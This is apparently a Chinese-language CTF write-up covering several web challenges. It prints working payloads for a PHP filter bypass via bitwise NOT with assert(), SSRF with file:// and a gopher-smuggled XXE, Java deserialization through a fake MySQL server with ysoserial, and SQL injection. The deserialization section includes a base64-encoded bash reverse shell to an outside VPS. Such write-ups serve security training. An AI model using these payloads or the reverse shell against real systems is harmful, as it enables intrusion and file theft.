hate-php
源碼
<?php
error_reporting(0);
if(!isset($_GET['code'])){
highlight_file(__FILE__);
}else{
$code = $_GET['code'];
if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code)) {
die('You are too good for me');
}
$blacklist = get_defined_functions()['internal'];
foreach ($blacklist as $blackitem) {
if (preg_match ('/' . $blackitem . '/im', $code)) {
die('You deserve better');
}
}
assert($code);
}
直接取反繞過就行了
exp:
<?php
$a = "system";
$b= "cat flag.php";
echo urlencode(~$a);
echo "\n";
echo urlencode(~$b);
#(~%8F%97%8F%96%91%99%90)(); ``//phpinfo
最後的payload
爲:
?code=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F)
do you know
這道題目是非預期
出題人的本意應該是考察SSRF
和XXE
但是直接一個SSRF
就可以讀出flag
了
源碼中
$poc=$_SERVER['QUERY_STRING']; #不會對url解碼,所以直接繞過過濾
所以我們直接利用file
協議去讀文件
可以知道flag
在flag.php
裏面
所以最終的payload爲:
?xxx=%66%69%6c%65%3a%2f%2f%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%66%6c%61%67%2e%70%68%70&yyy=%66%69%6c%65%3a%2f%2f%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%66%6c%61%67%2e%70%68%70
預期解:
這道題應該是用gopher
進行ssrf
發送post
請求給xxe.php
首先我們來大致說一下流程,就是用gopher
協議進行訪問內網,有點soap
的味道~~
我們直接貼出payload:
然後再稍加分析一下
?a=1&b=1&c=gopher://127.0.0.1:80/_POST%2520/xxe.php%2520HTTP/1.1%250d%250aHost%3a127.0.0.1%3a80%250d%250aAccept%3a*/*%250d%250aContent-Length%3a611%250d%250aContent-Type%3aapplication/x-www-form-urlencoded%250d%250a%250d%250adata=%25253c%25253f%252578%25256d%25256c%252520%252576%252565%252572%252573%252569%25256f%25256e%25253d%252522%252531%25252e%252530%252522%252520%252565%25256e%252563%25256f%252564%252569%25256e%252567%25253d%252522%252575%252572%252565%252561%252564%252574%252566%25252d%252538%252522%25253f%25253e%25250a%25253c%252521%252544%25254f%252543%252554%252559%252550%252545%252520%252578%252565%252520%25255b%25250a%25253c%252521%252545%25254c%252545%25254d%252545%25254e%252554%252520%25256e%252561%25256d%252565%252520%252541%25254e%252559%252520%25253e%25250a%25253c%252521%252545%25254e%252554%252549%252554%252559%252520%252578%252565%252520%252553%252559%252553%252554%252545%25254d%252520%252522%252570%252568%252570%25253a%25252f%25252f%252566%252569%25256c%252574%252565%252572%25252f%252572%252565%252572%252565%252561%252564%252561%252564%25253d%252563%25256f%25256e%252576%252565%252572%252574%25252e%252562%252561%252573%252565%252536%252534%25252d%252565%25256e%252563%25256f%252564%252565%25252f%252572%252565%252573%25256f%252575%252572%252563%252565%25253d%252566%25256c%252572%252565%252561%252564%252561%252567%25252e%252570%252568%252570%252522%252520%25253e%25255d%25253e%25250a%25253c%252572%25256f%25256f%252574%25253e%25250a%25253c%25256e%252561%25256d%252565%25253e%252526%252578%252565%25253b%25253c%25252f%25256e%252561%25256d%252565%25253e%25250a%25253c%25252f%252572%25256f%25256f%252574%25253e
1、首先分析一下前一部分
gopher://127.0.0.1:80/_POST%2520/xxe.php%2520HTTP/1.1%250d%250aHost%3a127.0.0.1%3a80%250d%250aAccept%3a*/*%250d%250aContent-Length%3a611%250d%250aContent-Type%3aapplication/x-www-form-urlencoded
注意必須包括端口,否則gopher
訪問不到
由於gopher
協議傳遞數據包的時候會將第一個字符吞掉,所以我們在前面加一個_
,然後後面接數據包
我們都知道一個數據包的格式如下:
有許多的請求頭,但是隻有一部分是必須的
上面的第一部分下列請求頭的url編碼(包括換行%0d%0a
,而且這兒需要將%
進行二次編碼)
POST /xee.php HTTP/1.1
HOST:127.0.0.1:80
Accept:*/*
Content-Length:611
Content-Type:application/x-www-form-urlencoded
POST發送數據的時候,數據於請求頭中間有兩個%0d%0a
最最最最容易混淆的地方來了,就是上面的Content-Length:611
的理解
這個Content-Length:611
表示發送數據的大小
例如我們POST data=xxx
,則Content-Length
爲8
,無論你進行多少次url編碼,都會將我們發送的數據解碼成data=xxx
,所以有時候我們進行多次url編碼,但是服務器還是能識別,這就是Content-Length
的作用
我們知道這道題目實際就是gopher
進行xxe
攻擊,我們只需要用gopher
發送一個能讀取文件的xml
過去就可以了,而且實際題目有一些過濾,雙寫繞過就行了,所以隨便找個能讀文件的xml
如下
<?xml version="1.0" encoding="ureadtf-8"?>
<!DOCTYPE xe [
<!ELEMENT name ANY >
<!ENTITY xe SYSTEM "php://filter/rereadad=convert.base64-encode/resource=flreadag.php" >]>
<root>
<name>&xe;</name>
</root>
這兒還有一個需要注意的點
我們在計算長度的時候不能直接計算明文的長度,這是因爲上面的字符有一些特殊字符,而這些特殊字符又有實際的含義,例如&
假設我們只計算明文的長度,則不管我們怎麼url
編碼,服務器都會解析成明文的格式
即訪問xxe.php是發送的數據爲data=<?xml version="1.0" enco....
這樣就會包含特殊符號,就不能正確傳輸數據
正確的做法是:
1、對payload
(即xml
)所以字符進行url
編碼,計算編碼後的長度,例上面的xml編碼後長度爲606,加上data=
,總長度爲610
2、先把編碼後的數據加在data=
的後面
3、直接在burpsuite
裏面編碼(只對特殊字符編碼即可,即%
,因爲GET
方法有長度限制,如果編碼太長不能發送請求)(再編兩次碼,總共對xml
三次編碼,因爲我們發送請求時瀏覽器本身會編一次碼,然後gopher
發送數據時也會編碼一次,所以只有編碼三次,到達xxe.php
的數據纔是xml
第一次編碼之後的數據,否則直接是明文數據,不能有效傳遞xml
,如果編碼四次也不行,只能三次,這只是針對特殊字符的)
4、burpsuite對特殊字符編碼的地方
最終的結果爲
對結果進行base64
解碼就可以得到flag
了
zzm’s blog
這是一道java
題目
首先下載xml
,查看依賴
<dependencies>
<dependency>
<groupId>com.sparkjava</groupId>
<artifactId>spark-core</artifactId>
<version>2.9.0</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-nop</artifactId>
<version>1.7.30</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.15</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.9.8</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-core</artifactId>
<version>2.9.8</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-annotations</artifactId>
<version>2.9.8</version>
</dependency>
然後就是一頓谷歌百度,最終找到了這個
https://github.com/fnmsd/MySQL_Fake_Server
上面有詳細的介紹說明
直接開始操作步驟吧,原理說了也不知道
修改config.json
{
"fileread":{
"win_ini":"c:\\windows\\win.ini",
"win_hosts":"c:\\windows\\system32\\drivers\\etc\\hosts",
"win":"c:\\windows\\",
"linux_passwd":"/etc/passwd",
"linux_hosts":"/etc/hosts",
"index_php":"index.php"
},
"yso":{
"Jdk7u21":["Jdk7u21","calc"],
"CommonsCollections1":["CommonsCollections1","curl http://129.204.207.xxx:9002/asd"],
"Commonsollections6":["CommonsCollections6","curl http://129.204.207.xxx:9002/asd"]
}
}
我們只需要修改yso就行了,即反序列化,這個是僞造MYSQL服務端讀文件和java的按序列化兩個功能組合在一起使用的,所以我們只需要改yso就行
1、vps上運行python3 server.py
2、vps上監聽9002端口
最終的payload:
{"id":["com.mysql.cj.jdbc.admin.MiniAdmin","jdbc%3amysql%3a//129.204.207.xxx%3a3306/test%3fautoDeserialize%3dtrue%26queryInterceptors%3dcom.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor%26user%3dyso_CommonsCollections6_bash%20-c%20{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjkuMjA0LjIwNy54eHgvOTAwMiAwPiYxCg==}|{base64,-d}|{bash,-i}"]}
其中這句代碼是bash -i >& /dev/tcp/129.204.207.114/9002 0>&1
的編碼格式,就是通過linux特性略去了特殊字符
轉換網址
bash%20-c%20{echo,YmFzaCAtaSA%25%32%62JiAvZGV2L3RjcC8xMjkuMjA0LjIwNy54eHgvOTAwMiAwPiYxCg==}|{base64,-d}|{bash,-i}
這樣就直接反彈shell
了
得到flag
美團外賣
這道題無力吐槽,只想說想打人,感覺出題人腦子有點問題~~
沒啥說的,最多就是一個注入題,其它的都是有點腦洞的意味
首先登錄那個可以直接繞過登錄
也可以在哪兒注出來,經過測試,過濾的> < = like regexp
等比較符號
這兒還可以用in
繞過
用法爲
select substring("xxx" from 1 for 1) in("x");
上面返回1
,然後再結合sleep
就可以達到盲注的目的
逗號過濾用substring
繞過
這兒就不貼代碼了,
然後在daochu.php
中還有一個未經任何過濾的SQL注入,並且有回顯
payload:
?type=1&imei="union%20select%201,2,3,(select%20hints%20from%20hint),5,6%23&imei2=xxx
得到
<table border="1"><tr><th>user</th><th>code</th><th>name</th><th>phonenumber</th></tr><tr><td>see_the_dir_956c110ef9decdd920249f5fed9e4427</td><td>6</td><td>2</td><td>3</td></tr></table>
然後進入目錄一陣亂掃,和不加目錄是一樣的路由,但是經過測試可以訪問lib中的php文件,然後找到
lib\webuploader\0.1.5\server\preview.php
不知道咋個就得到了flag,反正我們得到的源碼於後臺的絕對不一樣,着不知道這樣出題的意義~~
laravel
這個先佔個坑,沒時間寫了~~